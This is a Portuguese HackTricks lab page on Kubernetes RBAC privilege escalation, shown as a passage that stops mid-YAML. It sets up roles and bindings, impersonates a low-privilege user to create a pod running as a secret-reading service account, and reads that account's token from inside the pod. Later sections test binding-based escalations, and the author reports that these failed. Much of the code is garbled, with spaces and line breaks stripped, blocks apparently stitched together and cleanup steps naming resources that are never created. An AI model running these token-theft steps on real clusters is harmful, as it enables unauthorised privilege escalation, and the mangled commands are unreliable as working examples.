Se você quiser ver sua empresa anunciada no HackTricks ou se quiser acessar a última versão do PEASS ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
Você pode executar esses laboratórios apenas dentro do minikube.
Criação de Pod -> Escalar para ns SAs
Vamos criar:
Uma conta de serviço "test-sa" com um privilégio de cluster para ler segredos
Um ClusterRole "test-cr" e um ClusterRoleBinding "test-crb" serão criados
Permissões para listar e criar pods para um usuário chamado "Test" serão concedidas
Um Role "test-r" e RoleBinding "test-rb" serão criados
Em seguida, vamos confirmar que o SA pode listar segredos e que o usuário Test pode listar um pod
Finalmente, vamos impersonar o usuário Test para criar um pod que inclui o SA test-sa e roubar o token da conta de serviço.
Esta é a maneira de mostrar que o usuário pode escalar privilégios dessa maneira
Para criar o cenário, uma conta de administrador é usada.
Além disso, para exfiltrar o token da conta de serviço neste exemplo, a conta de administrador é usada para executar dentro do pod criado. No entanto, como explicado aqui, a declaração do pod pode conter a exfiltração do token, então o privilégio "exec" não é necessário para exfiltrar o token, a permissão "create" é suficiente.
# Criar conta de serviço test-sa# Criar função e vinculação de função para dar permissões de listagem e criação sobre pods no namespace padrão para o usuário Test
# Criar clusterrole e clusterrolebinding para dar acesso ao SA test-sa a segredos em todos os lugaresecho'apiVersion: v1kind: ServiceAccountmetadata: name: test-sa---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-rrules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: test-rbsubjects: - kind: ServiceAccount name: test-sa - kind: User name: TestroleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io---kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-crrules: - apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata: name: test-crbsubjects: - kind: ServiceAccount namespace: default name: test-sa apiGroup: ""roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io'|kubectlapply-f-# Verificar se test-sa pode acessar segredos do kube-systemkubectl--assystem:serviceaccount:default:test-sa-nkube-systemgetsecrets# Verificar se o usuário Test pode obter pods no namespace padrãokubectl--asTest-ndefaultgetpods# Criar um pod como usuário Test com o SA test-sa (etapa de privilégio)echo"apiVersion: v1kind: Podmetadata: name: test-pod namespace: defaultspec: containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000'] serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true"|kubectl--asTestapply-f-# Conectar-se ao pod criado e confirmar que o token da conta de serviço anexado pertence a test-sakubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Limpar o cenáriokubectldeletepodtest-podkubectldeleteclusterrolebindingtest-crbkubectldeleteclusterroletest-crkubectldeleterolebindingtest# Conecte-se ao pod criado e confirme que o token SA anexado pertence a test-sakubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Limpe o cenáriokubectldeletedaemonsetalpinekubectldeleteclusterrolebindingtest-crbkubectldeleteclusterroletest-crkubectldeleterolebindingtest-rbkubectldeleteroletest-rkubectldeleteserviceaccounttest-sa
Não funciona
Criar/Modificar Bindings
Não funciona:
Criar um novo RoleBinding apenas com o verbo create
Criar um novo RoleBinding apenas com o verbo patch (você precisa ter permissões de binding)
Você não pode fazer isso para atribuir a função a si mesmo ou a um SA diferente
Modificar um novo RoleBinding apenas com o verbo patch (você precisa ter permissões de binding)
Você não pode fazer isso para atribuir a função a si mesmo ou a um SA diferente
echo'apiVersion: v1kind: ServiceAccountmetadata: name: test-sa---apiVersion: v1kind: ServiceAccountmetadata: name: test-sa2---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-rrules: - apiGroups: ["rbac.authorization.k8s.io"] resources: ["rolebindings"] verbs: ["get", "patch"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: test-rbsubjects: - kind: User name: TestroleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: test-r2rules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: test-rb2subjects: - kind: ServiceAccount name: test-sa apiGroup: ""roleRef: kind: Role name: test-r2 apiGroup: rbac.authorization.k8s.io'|kubectlapply-f-# Crie um pod como usuário Test com o SA test-sa (etapa de privesc)echo"apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: test-r2subjects: - kind: ServiceAccount name: test-sa2 apiGroup: ""roleRef: kind: Role name: test-r2 apiGroup: rbac.authorization.k8s.io"|kubectl--asTestapply-f-# Conecte-se ao pod criado e confirme que o token SA anexado pertence a test-sakubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Limpe o cenáriokubectldeleterolebindingtest-rbkubectldeleterolebindingtest-rb2kubectldeleteroletest-rkubectldeleteroletest-r2kubectldeleteserviceaccounttest-sakubectldeleteserviceaccounttest-sa2
Bindings explícitos
Na seção "Prevenção de Escalonamento de Privilégios e Inicialização" de https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/ é mencionado que se um SA pode criar um Binding e tem permissões de Bind explícitas sobre a Função/Cluster role, ele pode criar bindings mesmo usando Funções/ClusterRoles com permissões que ele não tem.
No entanto, não funcionou para mim:
# Crie 2 SAs, dê a um deles permissões para criar clusterrolebindings# e permissões de bind sobre a ClusterRole "admin"echo 'apiVersion:v1kind:ServiceAccountmetadata:name:test-sa---apiVersion:v1kind:ServiceAccountmetadata:name:test-sa2---kind:ClusterRoleapiVersion:rbac.authorization.k8s.io/v1metadata:name:test-crrules: - apiGroups: ["rbac.authorization.k8s.io"]resources: ["clusterrolebindings"]verbs: ["get","create"] - apiGroups: ["rbac.authorization.k8s.io/v1"]resources: ["clusterroles"]verbs: ["bind"]resourceNames: ["admin"]---apiVersion:rbac.authorization.k8s.io/v1kind:ClusterRoleBindingmetadata:name:test-crbsubjects: - kind:ServiceAccountname:test-sanamespace:defaultroleRef:kind:ClusterRolename:test-crapiGroup:rbac.authorization.k8s.io' | kubectl apply -f -# Tente vincular a ClusterRole "admin" com o segundo SA (não funcionará)echo 'apiVersion:rbac.authorization.k8s.io/v1kind:ClusterRoleBindingmetadata:name:test-crb2subjects: - kind:ServiceAccountname:test-sa2namespace:defaultroleRef:kind:ClusterRolename:adminapiGroup:rbac.authorization.k8s.io' | kubectl --as system:serviceaccount:default:test-sa apply -f -# Limpe o ambientekubectl delete clusterrolebindings test-crbkubectl delete clusterrolebindings test-crb2kubectl delete clusterrole test-crkubectl delete serviceaccount test-sakubectl delete serviceaccount test-sa
# Como o exemplo anterior, mas neste caso tentamos usar RoleBindings# em vez de CLusterRoleBindingsecho 'apiVersion:v1kind:ServiceAccountmetadata:name:test-sa---apiVersion:v1kind:ServiceAccountmetadata:name:test-sa2---kind:ClusterRoleapiVersion:rbac.authorization.k8s.io/v1metadata:name:test-crrules: - apiGroups: ["rbac.authorization.k8s.io"]resources: ["clusterrolebindings"]verbs: ["get","create"] - apiGroups: ["rbac.authorization.k8s.io"]resources: ["rolebindings"]verbs: ["get","create"] - apiGroups: ["rbac.authorization